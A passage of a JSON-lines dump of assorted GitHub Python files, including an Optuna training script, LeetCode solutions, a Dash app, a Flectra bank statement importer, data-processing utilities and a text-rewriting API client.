train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=1024, shuffle=True, num_workers=4)\n val_loader = torch.utils.data.DataLoader(val_dataset, batch_size=1024, shuffle=False, num_workers=4)\n\n model = utils.Model(\n nfeatures=xtrain.shape[1],\n ntargets=ytrain.shape[1],\n nlayers=params['nlayers'],\n hidden_size=params['hidden_size'],\n dropout=params['dropout']\n )\n\n model.to(DEVICE)\n optimizer = torch.optim.Adam(model.parameters(), lr=params['lr'])\n eng = utils.Engine(model, optimizer, DEVICE)\n best_loss = np.inf\n early_stopping_iter = 10\n early_stopping_counter = 0\n\n for epoch in range(EPOCHS):\n train_loss = eng.train(train_loader)\n val_loss = eng.val(val_loader)\n print(f'Epoch: {epoch+1:03d}/{EPOCHS:03d} | Train Loss: {train_loss:.4f} | Val Loss: {val_loss:.4f}')\n if val_loss < best_loss:\n best_loss = val_loss\n if save_model:\n torch.save(model.state_dict(), f'model_{fold}.bin')\n else:\n early_stopping_counter += 1\n\n if early_stopping_counter > early_stopping_iter:\n print('Early stopping!')\n break\n return best_loss\n\n\ndef objective(trial):\n params = {'nlayers': trial.suggest_int('nlayers', 1, 7),\n 'hidden_size': trial.suggest_int('hidden_size', 16, 2048),\n 'dropout': trial.suggest_uniform('dropout', 0.0, 0.5),\n 'lr': trial.suggest_loguniform('lr', 1e-5, 1e-1)}\n al_losses = []\n for f_ in range(5):\n temp_loss = run_training(f_,params, save_model=False)\n al_losses.append(temp_loss)\n return np.mean(al_losses)\n\n\nif __name__ == '__main__':\n study = optuna.create_study(direction='minimize')\n study.optimize(objective, n_trials=20)\n print('best trail:')\n trial_ = study.best_trial\n print(trial_.values)\n print(trial_.params)\n\n scores = 0\n for j in range(5):\n scr = run_training(j, trial_.params, save_model=True)\n scores += scr\n print(f'Average score: {scores/5}')\n","repo_name":"ClayAssis/Automated-Hyperparameter-Tuning-For-Depp-Neural-Network","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36208873126","text":"'''\n665. 非递减数列\n\n给你一个长度为 n 的整数数组,请你判断在 最多 改变 1 个元素的情况下,该数组能否变成一个非递减数列。\n\n我们是这样定义一个非递减数列的: 对于数组中所有的 i (0 <= i <= n-2),总满足 nums[i] <= nums[i + 1]。\n\n\n\n示例 1:\n\n输入: nums = [4,2,3]\n输出: true\n解释: 你可以通过把第一个4变成1来使得它成为一个非递减数列。\n\n示例 2:\n\n输入: nums = [4,2,1]\n输出: false\n解释: 你不能在只改变一个元素的情况下将其变为非递减数列。\n\n\n\n说明:\n\n 1 <= n <= 10 ^ 4\n - 10 ^ 5 <= nums[i] <= 10 ^ 5\n\n'''\n\nclass Solution:\n def checkPossibility(self, nums):\n '''\n @describe: 对于[1,4,2,1],对于2<4的情况,即i=2时nums[i] < nums[i-1]\n 1.将nums[i]即2放大为nums[i-1]即4,并保证nums[i+1]的数不能比4小,即nums[i+1]>=nums[i-1]\n 2.将nums[i-1]即4缩小为nums[i]即2,并保证nums[i-2]的数不能比2大,即nums[i-2]<=nums[i-1]\n 若1和2均不能实现则说明无法将数组调整为非递减数组\n @param nums: 数组\n @return: 是否可以在只改变一个元素的情况下将其变为非递减数列\n '''\n cnt = 0\n for i in range(1, len(nums)):\n if nums[i -1] > nums[i]:\n cnt += 1\n if i - 2 >= 0 and i + 1 < len(nums):\n if nums[i - 2] > nums[i] and nums[i - 1] > nums[i+1]:\n return False\n if cnt > 1:\n return False\n return True\n\nif __name__ == '__main__':\n nums = [4,2,3]\n s = Solution()\n print(s.checkPossibility(nums))\n","repo_name":"lygeneral/LeetCode","sub_path":"Python/Array/easy/665_non-decreasing-array.py","file_name":"665_non-decreasing-array.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21607784387","text":"def insertion_sort(list_to_sort):\n for i in range(1, len(list_to_sort)):\n current = list_to_sort[i]\n position = i\n while position > 0 and current > list_to_sort[position - 1]:\n list_to_sort[position] = list_to_sort[position - 1]\n position -= 1\n list_to_sort[position] = current\n return list_to_sort\n\n\nif __name__ == \"__main__\":\n sum = 0\n\n file = open('discnt_in')\n lines = [line.rstrip('\\n') for line in file]\n all_prices = []\n for price in lines[0].split(\" \"):\n all_prices.append(int(price))\n\n discount = int(lines[1])\n discount_percent = int(lines[1])\n insertion_sort(all_prices)\n\n\n number = len(all_prices)\n number_of_cey = int(number / 3)\n for index in range(0, number_of_cey):\n all_prices[index] = all_prices[index] - all_prices[index] * (discount * 0.01)\n\n for index in range(0, len(all_prices)):\n sum = sum + all_prices[index]\n\n my_file = open(\"discnt_out\", \"w\")\n my_file.write(str(sum))\n my_file.close()\n","repo_name":"SapigaL/algo_program","sub_path":"lab2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9325300956","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input,Output,State\nimport pandas as pd\nimport plotly.graph_objs as go\n\napp = dash.Dash(__name__)\napp.title = 'MyAPP_Stock'\n\ndf = pd.read_csv('/Users/amirakbarian/Desktop/Python Excersice/MCDREO_timeSeries.csv')\ndf = df.groupby(['Country Name']).mean()\ndf.drop(['Unnamed: 19', 'Country Code'], axis=1, inplace=True)\ndf = df.T\n\noptions = []\nfor tic in df.columns:\n options.append({'label': '{}'.format(tic), 'value': tic})\n\napp.layout = html.Div([\n html.H1('MCDREO',style = {'text-align': 'center'}),\n html.H3('Select Country:',style={'paddingRight':'30px'}),\n html.Div([\n dcc.Dropdown(id='drop-down',\n options=options,\n value =['Algeria','Armenia'],\n multi=True)\n\n ],style={'display':'inline-block', 'verticalAlign':'top', 'width':'30%'}),\n\n html.H3('Select start and end year:'),\n html.Div([\n dcc.RangeSlider(id = 'Range-Slider',\n min=2004,\n max=2018,\n marks={i:str(i) for i in range(2004, 2019)},\n value=[2006, 2010])\n\n ]),\n html.Button(children ='Submit',id = 'Submit-button',n_clicks=0,style={'fontSize':18, 'marginLeft':'30px'}),\n html.Div([\n dcc.Graph(id = 'main-Graph',\n figure={\n 'data': [\n {'x': [2005,2006], 'y': [13,15]}\n ]\n }\n )\n ])\n\n ])\n\n@app.callback(Output('main-Graph','figure'),\n [Input('Submit-button','n_clicks')],\n [State('drop-down','value'),\n State('Range-Slider','value')\n ])\n\ndef update_graph(n_clicks,country_names,value):\n traces = []\n df2 = df[df.index >= str(value[0])]\n df2 = df2[df2.index <= str(value[1])]\n for c_name in country_names:\n traces.append(go.Scatter(x=df2.index,y=df2[c_name]/(1e9),name = c_name,mode='lines+markers'))\n\n return {'data' : traces , 'layout' : go.Layout(title = 'MCDREO',\n xaxis = dict(dtick = 1,title='Year'),\n yaxis = {'title' : 'Index' }\n )}\n\nif __name__ == '__main__':\n app.run_server(debug=True,port=3003)","repo_name":"amirakbarian/PlotlyAndDashProject","sub_path":"firstPython.py","file_name":"firstPython.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72244483732","text":"class Solution:\n def maxArea(self, height: List[int]) -> int:\n i = 0\n j = len(height)-1\n maxi =0\n while i<=j:\n maxi = max(min(height[i],height[j])*(j-i),maxi)\n if height[i] 0:\n no_st_line = False\n break\n if no_st_line:\n raise UserError(\n _('This file doesn\\'t contain any transaction for account %s.') % (account_number,)\n + '\\n' + extra_msg\n )\n\n def _check_journal_bank_account(self, journal, account_number):\n # Needed for CH to accommodate for non-unique account numbers\n sanitized_acc_number = journal.bank_account_id.sanitized_acc_number\n if \" \" in sanitized_acc_number:\n sanitized_acc_number = sanitized_acc_number.split(\" \")[0]\n return sanitized_acc_number == account_number\n\n def _find_additional_data(self, currency_code, account_number):\n \"\"\" Look for a res.currency and account.journal using values extracted from the\n statement and make sure it's consistent.\n \"\"\"\n company_currency = self.env.company.currency_id\n journal_obj = self.env['account.journal']\n currency = None\n sanitized_account_number = sanitize_account_number(account_number)\n\n if currency_code:\n currency = self.env['res.currency'].search([('name', '=ilike', currency_code)], limit=1)\n if not currency:\n raise UserError(_(\"No currency found matching '%s'.\") % currency_code)\n if currency == company_currency:\n currency = False\n\n journal = journal_obj.browse(self.env.context.get('journal_id', []))\n if account_number:\n # No bank account on the journal : create one from the account number of the statement\n if journal and not journal.bank_account_id:\n journal.set_bank_account(account_number)\n # No journal passed to the wizard : try to find one using the account number of the statement\n elif not journal:\n journal = journal_obj.search([('bank_account_id.sanitized_acc_number', '=', sanitized_account_number)])\n # Already a bank account on the journal : check it's the same as on the statement\n else:\n if not self._check_journal_bank_account(journal, sanitized_account_number):\n raise UserError(_('The account of this statement (%s) is not the same as the journal (%s).') % (\n account_number, journal.bank_account_id.acc_number))\n\n # If importing into an existing journal, its currency must be the same as the bank statement\n if journal:\n journal_currency = journal.currency_id\n if currency is None:\n currency = journal_currency\n if currency and currency != journal_currency:\n statement_cur_code = not currency and company_currency.name or currency.name\n journal_cur_code = not journal_currency and company_currency.name or journal_currency.name\n raise UserError(_(\n 'The currency of the bank statement (%s) is not the same as the currency of the journal (%s).') % (\n statement_cur_code, journal_cur_code))\n\n # If we couldn't find / can't create a journal, everything is lost\n if not journal and not account_number:\n raise UserError(_('Cannot find in which journal import this statement. Please manually select a journal.'))\n\n return currency, journal\n\n def _complete_stmts_vals(self, stmts_vals, journal, account_number):\n for st_vals in stmts_vals:\n st_vals['journal_id'] = journal.id\n if not st_vals.get('reference'):\n st_vals['reference'] = \" \".join(self.attachment_ids.mapped('name'))\n if st_vals.get('number'):\n # build the full name like BNK/2016/00135 by just giving the number '135'\n st_vals['name'] = journal.sequence_id.with_context(ir_sequence_date=st_vals.get('date')).get_next_char(\n st_vals['number'])\n del (st_vals['number'])\n for line_vals in st_vals['transactions']:\n unique_import_id = line_vals.get('unique_import_id')\n if unique_import_id:\n sanitized_account_number = sanitize_account_number(account_number)\n line_vals['unique_import_id'] = (\n sanitized_account_number and sanitized_account_number + '-' or '') + str(\n journal.id) + '-' + unique_import_id\n\n if not line_vals.get('bank_account_id'):\n # Find the partner and his bank account or create the bank account. The partner selected during the\n # reconciliation process will be linked to the bank when the statement is closed.\n identifying_string = line_vals.get('account_number')\n if identifying_string:\n partner_bank = self.env['res.partner.bank'].search([('acc_number', '=', identifying_string)],\n limit=1)\n if partner_bank:\n line_vals['bank_account_id'] = partner_bank.id\n line_vals['partner_id'] = partner_bank.partner_id.id\n return stmts_vals\n\n def _create_bank_statements(self, stmts_vals):\n \"\"\" Create new bank statements from imported values, filtering out already imported transactions, and returns data used by the reconciliation widget \"\"\"\n BankStatement = self.env['account.bank.statement']\n BankStatementLine = self.env['account.bank.statement.line']\n\n bank_statements = self.env['account.bank.statement']\n\n # Filter out already imported transactions and create statements\n statement_line_ids = []\n ignored_statement_lines_import_ids = []\n for st_vals in stmts_vals:\n filtered_st_lines = []\n for line_vals in st_vals['transactions']:\n if 'unique_import_id' not in line_vals \\\n or not line_vals['unique_import_id'] \\\n or not bool(\n BankStatementLine.sudo().search([('unique_import_id', '=', line_vals['unique_import_id'])],\n limit=1)):\n filtered_st_lines.append(line_vals)\n else:\n ignored_statement_lines_import_ids.append(line_vals['unique_import_id'])\n if 'balance_start' in st_vals:\n st_vals['balance_start'] += float(line_vals['amount'])\n\n if len(filtered_st_lines) > 0:\n # Remove values that won't be used to create records\n st_vals.pop('transactions', None)\n # Create the statement\n st_vals['line_ids'] = [[0, False, line] for line in filtered_st_lines]\n bank_statement = BankStatement.create(st_vals)\n statement_line_ids.extend(bank_statement.line_ids.ids)\n bank_statements |= bank_statement\n\n if len(statement_line_ids) == 0:\n raise UserError(_('You already have imported that file.'))\n\n # generated bank statements need to be posted to show the not reconciled button on journal dashboard\n bank_statements.button_post()\n\n # Prepare import feedback\n notifications = []\n num_ignored = len(ignored_statement_lines_import_ids)\n if num_ignored > 0:\n notifications += [{\n 'type': 'warning',\n 'message': _(\n \"%d transactions had already been imported and were ignored.\") % num_ignored if num_ignored > 1 else _(\n \"1 transaction had already been imported and was ignored.\"),\n 'details': {\n 'name': _('Already imported items'),\n 'model': 'account.bank.statement.line',\n 'ids': BankStatementLine.search(\n [('unique_import_id', 'in', ignored_statement_lines_import_ids)]).ids\n }\n }]\n return statement_line_ids, notifications\n","repo_name":"flectra-hq/flectra","sub_path":"addons/account_bank_statement_import/models/account_bank_statement_import.py","file_name":"account_bank_statement_import.py","file_ext":"py","file_size_in_byte":15037,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"67"} +{"seq_id":"1869309523","text":"import unittest\n\nfrom wiseguy import WSGIComponent\n\nclass TestAppLoaderFunctional(unittest.TestCase):\n def test_it(self):\n from StringIO import StringIO\n import webob\n import gzip\n import paste.gzipper\n from wiseguy.loader import AppLoader\n from wiseguy.components.helloworld import HelloWorldFactory\n loader = AppLoader()\n loader.add_component('dummyfilter', DummyFilter)\n loader.load_yaml(test_config_file)\n app_factory = loader.get_app_factory('main')\n app = app_factory()\n self.assertEqual(app.__class__, paste.gzipper.middleware)\n self.assertEqual(app.application.__class__, DummyFilterFactory)\n self.assertEqual(app.application.app.__class__, HelloWorldFactory)\n request = webob.Request.blank('/')\n request.environ['HTTP_ACCEPT_ENCODING'] = 'gzip'\n status, headerlist, body = request.call_application(app)\n self.assertEqual(status, '200 OK')\n self.assertEqual(headerlist,\n [('Content-Type', 'text/html; charset=UTF-8'),\n ('content-encoding', 'gzip'),\n ('Content-Length', '58')])\n io = StringIO(body[0])\n f = gzip.GzipFile(mode='r', fileobj=io)\n self.assertEqual(f.read(),\n '

Hello world!

')\n\nfrom cStringIO import StringIO\ntest_config_file = StringIO('''\n main:\n component: pipeline\n config:\n apps: [ compress, filter, hello ]\n\n compress:\n component: gzip\n config:\n compress_level: 6\n\n filter:\n component: dummyfilter\n\n hello:\n component: helloworld\n ''')\n\nclass DummyFilterFactory(object):\n def __init__(self, app, **kwargs):\n self.app = app\n\n def __call__(self, environ, start_response):\n return self.app(environ, start_response)\n\nDummyFilter = WSGIComponent(\n schema = None,\n factory = DummyFilterFactory,\n )\n","repo_name":"ReyhanehA/GDP60","sub_path":"146935_test_functional.py_C__Users_user_Desktop_data_2_data_google_data_wsgicabal_wiseguy_wiseg.py","file_name":"146935_test_functional.py_C__Users_user_Desktop_data_2_data_google_data_wsgicabal_wiseguy_wiseg.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12341538843","text":"import pyspark.sql.functions as F\nfrom chispa import assert_df_equality\n\nfrom cishouseholds.derive import assign_survey_not_completed_reason_code\n\n\ndef test_assign_survey_not_completed_reason_code(spark_session):\n expected_df = spark_session.createDataFrame(\n data=[\n (None, None, \"Do this questionnaire only\", None, \"FNR\"),\n (None, None, \"Do this questionnaire and take a swab sample\", None, \"FNR\"),\n (None, 1, \"Do this questionnaire and take a swab sample\", None, \"QNR\"),\n (1, 1, \"Do this questionnaire and take a swab sample and a blood sample\", None, \"QNR\"),\n (\n 1,\n 1,\n \"Do this questionnaire only\",\n 1,\n None,\n ), # having done questionaire only and completed currently leads to nothing\n (1, None, \"Do this questionnaire and take a swab sample\", 1, \"TNR\"),\n (None, 1, \"Do this questionnaire and take a swab sample and a blood sample\", 1, \"FNR\"),\n (None, None, \"Do this questionnaire and take a swab sample and a blood sample\", 1, \"TNR\"),\n ],\n schema=\"blood integer, swab integer, cohort_type string, filled integer, result string\",\n )\n output_df = assign_survey_not_completed_reason_code(\n df=expected_df.drop(\"result\"),\n column_name_to_assign=\"result\",\n swab_barcode_column=\"swab\",\n blood_barcode_column=\"blood\",\n cohort_type_column=\"cohort_type\",\n survey_filled_column=\"filled\",\n )\n assert_df_equality(output_df, expected_df, ignore_nullable=True, ignore_row_order=True)\n","repo_name":"ONSdigital/cis_households","sub_path":"tests/derive/test_assign_survey_not_completed_reason_code.py","file_name":"test_assign_survey_not_completed_reason_code.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"7733541871","text":"import sys\nimport copy\nfrom collections import deque\n\ninput = sys.stdin.readline\n\nMap = [[[0,0] for _ in range(4)] for _ in range(4)]\nresult = 0\nfor i in range(4):\n temp = list(map(int, input().split()))\n\n for j in range(4):\n Map[i][j][0] = temp[2*j]\n Map[i][j][1] = temp[2*j+1] - 1\n\ndx = [-1, -1, 0, 1, 1, 1, 0, -1]\ndy = [0, -1, -1, -1, 0, 1, 1, 1]\ndef find(cur_Map, ate):\n global result\n mem = [[-1,-1] for _ in range(17)]\n shark = [-1,-1]\n # 순서 기억하기\n for i in range(4):\n for j in range(4):\n if cur_Map[i][j][0] > 0:\n mem[cur_Map[i][j][0]] = [i,j]\n elif cur_Map[i][j][0] == 0:\n shark = [i, j]\n \n for i in range(1, 17): # 물고기 이동 시작\n if mem[i][0]== -1 and mem[i][1]== -1: # 없어진 물고기\n continue\n x = mem[i][0]\n y = mem[i][1]\n cur_dir = cur_Map[x][y][1]\n for j in range(8):\n new_dir = (cur_dir+j)%8\n new_x = x + dx[new_dir]\n new_y = y + dy[new_dir]\n if new_x < 0 or new_x >= 4 or new_y < 0 or new_y >=4 or cur_Map[new_x][new_y][0]==0:\n continue\n cur_Map[x][y][1] = new_dir\n \n if cur_Map[new_x][new_y][0] < 0: # 이동할 위치에 물고기가 없는 경우\n cur_Map[new_x][new_y][0] = cur_Map[x][y][0]\n cur_Map[new_x][new_y][1] = cur_Map[x][y][1]\n cur_Map[x][y][0] = -1 # 기존 위치 빈 위치로 바꾸어주기\n cur_Map[x][y][1] = -1 # 기존 위치 빈 위치로 바꾸어주기\n elif cur_Map[new_x][new_y][0] > 0: # 이동할 위치에 물고기가 있는 경우\n mem[cur_Map[new_x][new_y][0]] = [x, y]\n temp_1 = cur_Map[x][y][0]\n temp_2 = cur_Map[x][y][1]\n cur_Map[x][y][0] = cur_Map[new_x][new_y][0]\n cur_Map[x][y][1] = cur_Map[new_x][new_y][1]\n cur_Map[new_x][new_y][0] = temp_1 \n cur_Map[new_x][new_y][1] = temp_2\n # 위치 바꾸기 완료\n break\n\n x = shark[0]\n y = shark[1]\n dir = cur_Map[x][y][1]\n\n for i in range(1, 4): # 상어 이동, x와 y축의 길이가 최대 4이므로\n new_x = x + dx[dir]*i\n new_y = y + dy[dir]*i\n\n if new_x < 0 or new_x>=4 or new_y < 0 or new_y >= 4 or cur_Map[new_x][new_y][0] < 0:\n result = max(result, ate)\n continue\n new_Map = copy.deepcopy(cur_Map)\n value = new_Map[new_x][new_y][0]\n new_Map[new_x][new_y][0] = 0\n new_Map[x][y][0] = -1 # 기존 위치 비워주기\n new_Map[x][y][1] = -1 # 기존 위치 비워주기\n\n find(new_Map, ate+value)\n return\n\n\n\nate = Map[0][0][0]\n\nMap[0][0][0] = 0\n\nfind(Map, ate)\n\nprint(result)\n","repo_name":"marugy/gwangju-algorithm-study","sub_path":"4월 3주차/BJ_19236_청소년_상어_김하영.py","file_name":"BJ_19236_청소년_상어_김하영.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"74605027092","text":"import json\n\ndef write_text(data: str, filename: str):\n\tprint(f\"Writing {filename}\")\n\twith open(filename, \"w\", encoding=\"utf-8\") as f:\n\t\tf.write(data)\n\n\ndef write_json(data, filename: str):\n\tprint(f\"Writing {filename}\")\n\twith open(filename, \"w\", encoding=\"utf-8\") as f:\n\t\tjson.dump(data, f, ensure_ascii=False, indent=\"\\t\")\n\t\tf.write(\"\\n\")\n","repo_name":"boatbomber/Roblox-Docs-AI-Search","sub_path":"indexer/write.py","file_name":"write.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"2473959653","text":"import json\n\n\ndef __orderer(e):\n return e[\"code\"]\n\n\ndef __makeOneMore(array, allSubjects):\n listResult = []\n for grupo in array:\n for cadeiraEntrante in allSubjects:\n if cadeiraEntrante not in grupo:\n choque = False\n for elemento in grupo:\n for diaCad1 in cadeiraEntrante[\"schedules\"].keys():\n for diaCad2 in elemento[\"schedules\"].keys():\n if diaCad1 == diaCad2:\n if cadeiraEntrante[\"schedules\"][diaCad1][0] == elemento[\"schedules\"][diaCad2][0]:\n choque = True\n if choque == False:\n grupoEntrante = grupo+[cadeiraEntrante]\n grupoEntrante.sort(key=__orderer)\n if grupoEntrante not in listResult:\n listResult.append(grupoEntrante)\n return listResult\n\n\ndef __saveByParam(name, lista, param):\n file = open(\"output/\"+name+\".json\", \"w\", encoding=\"utf-8\")\n if param == None:\n stringfy = json.dumps(lista)\n file.write(stringfy)\n else:\n newLista = []\n for grupo in lista:\n newGrupo = []\n for elemento in grupo:\n newGrupo.append(elemento[param])\n newLista.append(newGrupo)\n\n stringfy = json.dumps(newLista)\n file.write(stringfy)\n file.close()\n\n\ndef __loadFromFile():\n file = open(\"data/subject.json\", \"r\", encoding=\"utf-8\")\n txtSubject = file.read()\n file.close()\n\n dictSubject = json.loads(txtSubject)\n return dictSubject\n\n\ndef __getSeed(allSubjects):\n duplas = []\n for cadeira1 in allSubjects:\n for cadeira2 in allSubjects:\n if cadeira1[\"code\"] != cadeira2[\"code\"]:\n choque = False\n for diaCad1 in cadeira1[\"schedules\"].keys():\n for diaCad2 in cadeira2[\"schedules\"].keys():\n if diaCad1 == diaCad2:\n if cadeira1[\"schedules\"][diaCad1][0] == cadeira2[\"schedules\"][diaCad2][0]:\n choque = True\n\n if choque == False:\n duplas.append([cadeira1, cadeira2])\n allSubjects.remove(cadeira1)\n\n return duplas\n\n\ndef __getAllPossibilities(seed, allSubjects):\n listResult = []\n listResult = listResult + [seed]\n\n while True:\n tempList = __makeOneMore(seed, allSubjects)\n if (tempList != []):\n listResult = listResult + [tempList]\n seed = tempList\n else:\n break\n\n return listResult\n\n\ndef outputFiles(results, param):\n i = 2\n for result in results:\n __saveByParam(str(i), result, param)\n i += 1\n\n\ndef getAll():\n allSubjects = __loadFromFile()\n seed = __getSeed(allSubjects)\n listResult = __getAllPossibilities(seed, allSubjects)\n return listResult\n","repo_name":"ricarthlima/py-oracle-schedule","sub_path":"schedules.py","file_name":"schedules.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29818592440","text":"r\"\"\"Training executable.\n\nThis executable is used to train.\nA configuration file can be specified by --config_file.\nconfig options can be specified by --opts.\n\nExample usage:\n python build_tfrecords.py \\\n --config_file=...\n --opts=FOO,0.5,BAR,1.0\n\"\"\"\nimport tensorflow as tf\nimport logging\nfrom absl import flags\n\nfrom lib.config import get_cfg\nfrom lib.data_tools import builder\n\ntf.logging.set_verbosity(tf.logging.INFO)\nlog = logging.getLogger('tensorflow')\nlog.propagate = False\n\nflags.DEFINE_string('config_file', None, 'Path to the config file.')\nflags.DEFINE_string('opts', None, 'A set of config option split by comma, eg:`FOO,0.5,BAR,1.0`.')\n\nFLAGS = flags.FLAGS\n\n\ndef main(_):\n cfg = get_cfg()\n if FLAGS.config_file:\n cfg.merge_from_file(FLAGS.config_file)\n if FLAGS.opts:\n options = FLAGS.opts.split(\",\")\n cfg.merge_from_list(options)\n cfg.freeze()\n builder.build(cfg)\n\nif __name__ == '__main__':\n tf.app.run()\n","repo_name":"SimeonZhang/detectron2_tensorflow","sub_path":"build_tfrecords.py","file_name":"build_tfrecords.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"7162664618","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\n\ndef build_df(ada_features, tidak_features):\n # Build DataFrame From Feature Arrays\n print('Building DataFrame')\n df_tidak = pd.DataFrame(np.array(tidak_features))\n df_tidak['label'] = 0\n df_ada = pd.DataFrame(np.array(ada_features))\n df_ada['label'] = 1\n # Concatenate DataFrame\n df_feat = pd.concat([df_tidak, df_ada], ignore_index=True)\n df_feat.to_csv('./sigma0.5/features_df.csv', header=False, index=False)\n print('DataFrame Built\\n')\n return df_feat\n\ndef normalize_df(df):\n # Normalize DataFrame\n print('Normalizing DataFrame')\n dataset = pd.DataFrame(df)\n X = dataset.iloc[:, :-1]\n y = dataset.iloc[:, -1]\n\n scaler = MinMaxScaler(feature_range=(0,1))\n X = scaler.fit_transform(X)\n X = pd.DataFrame(X)\n\n dataset = pd.concat([X,y], axis=1)\n dataset.to_csv('./sigma0.5/normalized_df.csv', header=False, index=False)\n\n print('DataFrame Normalized!\\n')\n return dataset\n\ndef train_test(dataset):\n# Split Features From Label\n dataset = pd.DataFrame(dataset)\n X = np.array(dataset.iloc[:, :-1])\n y = np.array(dataset.iloc[:, -1])\n\n# Define the StratifiedKFold train-test splitter and split Dataset\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, stratify=y)\n\n X_train = pd.DataFrame(X_train).reset_index().drop('index', axis=1)\n X_test = pd.DataFrame(X_test).reset_index().drop('index', axis=1)\n y_train = pd.DataFrame(y_train).reset_index().drop('index', axis=1)\n y_test = pd.DataFrame(y_test).reset_index().drop('index', axis=1)\n\n train_df = pd.concat([X_train, y_train], axis=1)\n train_df.to_csv('./sigma0.5/train_test_set/train_df.csv', header=False, index=False)\n test_df = pd.concat([X_test, y_test], axis=1)\n test_df.to_csv('./sigma0.5/train_test_set/test_df.csv', header=False, index=False)\n\n print('Dataset Splitted Into Train-Test Set!\\n')\n return train_df, test_df\n","repo_name":"DarisaLLC/iridologi","sub_path":"process_df.py","file_name":"process_df.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37462808616","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nfrom requests import post\n\nclass Wordy:\n def __init__(self, username=\"\", wordy_key=\"\"):\n '''\n username = \"\" # 你注册时的 email。若留空,则会使用每小时更新 2000 字的公用账号。\n apikey = \"\" # 您完成付费后取得的 apikey 值。若留空,则会使用每小时更新 2000 字的公用账号。\n '''\n\n if username == \"\" :\n print(\"请先在卓腾网站 (https://api.droidtown.co) 申请账号,再来完整使用 Wordy 的强大改写功能\")\n\n if wordy_key == \"\":\n print(\"在卓腾网站 (https://api.droidtown.co)登入后,填入 Wordy API key ,再来完整使用 Wordy 的强大改写功能\")\n\n self.url = \"https://api.droidtown.co/Wordy/API/\"\n self.username = username\n self.wordy_key = wordy_key\n self.max_num = 72\n\n def rewrite(self, inputSTR, max_num=72, user_defined={}, fixed_term=[]):\n payload = {\n \"username\": self.username,\n \"wordy_key\": self.wordy_key,\n \"max_num\": self.max_num,\n \"input_str\": inputSTR,\n \"user_defined\" : {},\n \"fixed_term\" : []}\n\n if isinstance(inputSTR, str):\n if inputSTR == \"\":\n print(\"inputSTR 不得为空字串\")\n return False\n else:\n print(\"inputSTR 需要为字串 string\")\n return False\n\n if isinstance(max_num, int):\n if abs(max_num) > self.max_num:\n print(\"我们一次最多可以改写的是 72 篇喔\")\n max_num = self.max_num\n payload[\"max_num\"] = max_num\n else:\n print(\"max_num 需要是整数\")\n return False\n\n if user_defined !=None:\n if isinstance(user_defined, dict):\n payload[\"user_defined\"] = user_defined\n else:\n print(\"user_defined 一定要是 dict\")\n return False\n\n if fixed_term != None:\n if isinstance(fixed_term, list):\n payload[\"fixed_term\"] = fixed_term\n else:\n print(\"fixed_term 一定要是 list\")\n return False\n\n try:\n response = post(url=self.url, json=payload)\n if response.status_code == 200:\n result = response.json()\n if result['status']:\n print(\"您的 {} 篇文章改写正在准备中,等改写完成后,我们会再寄通知到 {}。等收到通知时,再请您至 Wordy 页面 (https://api.droidtown.co/wordy/) 登入后下载。\".format(max_num, self.username))\n return True\n else:\n print(result['msg'])\n return False\n else:\n print(response)\n return False\n except Exception as e:\n print(e)\n return False\n\n\nif __name__ == \"__main__\":\n inputSTR = \"今年10户勤奋自强家庭,获选者都是对抗逆境的坚韧母亲,其中来自越南的黎梦琴被称“超人妈妈”,怀孕时一边照顾女儿跟病夫一边上班,还教导孩子回馈社会。北高雄家扶中心今天发布新闻稿指出,今年度10户勤奋自强家庭获选者清一色都是女性,有的曾被配偶不当对待,或是历经丧偶,有的则是抚养照顾生病的家人,但她们身为母亲,都凭借著这股力量不被逆境所打倒,勇敢面对生命难关。\"\n\n from WordyAPI import Wordy\n\n wd = Wordy(username=\"\", wordy_key=\"\")\n userDICT = {\"怀孕\":[\"有小孩\"]}\n fixLIST = ['照顾']\n\n test = wd.rewrite(inputSTR, max_num= 15, user_defined=userDICT, fixed_term=fixLIST)\n","repo_name":"Droidtown/WordyAPI","sub_path":"WordyAPI/WordyAPI.py","file_name":"WordyAPI.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74651225494","text":"# A py program to find the power set\n\nfrom typing import List\n\n\ndef powSet( li:List ) :\n result = []\n for i in range( 0 , 2**len(li) ):\n temp = []\n for j in range( 0 , len(li) ):\n if (i & ( 1< 0 :\n temp.append( li[j] )\n result.append(temp)\n return result\n\nif __name__ == '__main__':\n li=list(input(\"Enter the elements of the list : \\n\").split())\n 